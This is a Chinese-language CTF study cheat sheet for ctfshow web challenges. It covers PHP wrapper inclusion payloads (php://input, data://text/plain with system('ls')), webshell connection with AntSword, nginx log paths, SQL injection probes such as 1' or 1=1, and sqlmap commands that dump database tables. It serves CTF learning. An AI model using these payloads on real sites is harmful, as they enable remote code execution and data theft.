ctfshow——web(总结持续更新)

1、基础知识部分

1. 识别base64编码：大小写+数字，偶尔最后几位是= or ++

2、php伪协议

2.1 php://input协议

关于php://input，简单来说：当php://input与include连用时，数据包中的post字段将会当做php代码执行。

# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>  

2.2 data://text/plain协议

关于data://text/plain，简单来说：当data://text/plain与include连用时，data://text/plain后面接着的数据会被当做php代码执行。

?url=data://text/plain,<?php system('ls');?> # 
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式

3、webshell连接工具

3.1 蚁剑连接一句话木马

如果蚁剑报错：unable_to_verify_leaf_signature，是证书的原因，目前的解决方法是将URL中的https改为http。

4、各个web中间件重要文件路径

4.1 Nginx

# Linux
/var/log/nginx/access.log # linux下，nginx访问日志文件默认路径# windows
C:\Program Files\Nginx\logs\access.log # Windows下，nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下，nginx访问日志文件自定义安装路径

5、sqlmap使用

SQL注入常见的测试方法就是：

• 在参数后面加个'，看返回包是否报错；
• 使用万能密码1' or 1=1 --+，看返回包有没有反应。

sqlmap常用命令：

python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs  #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容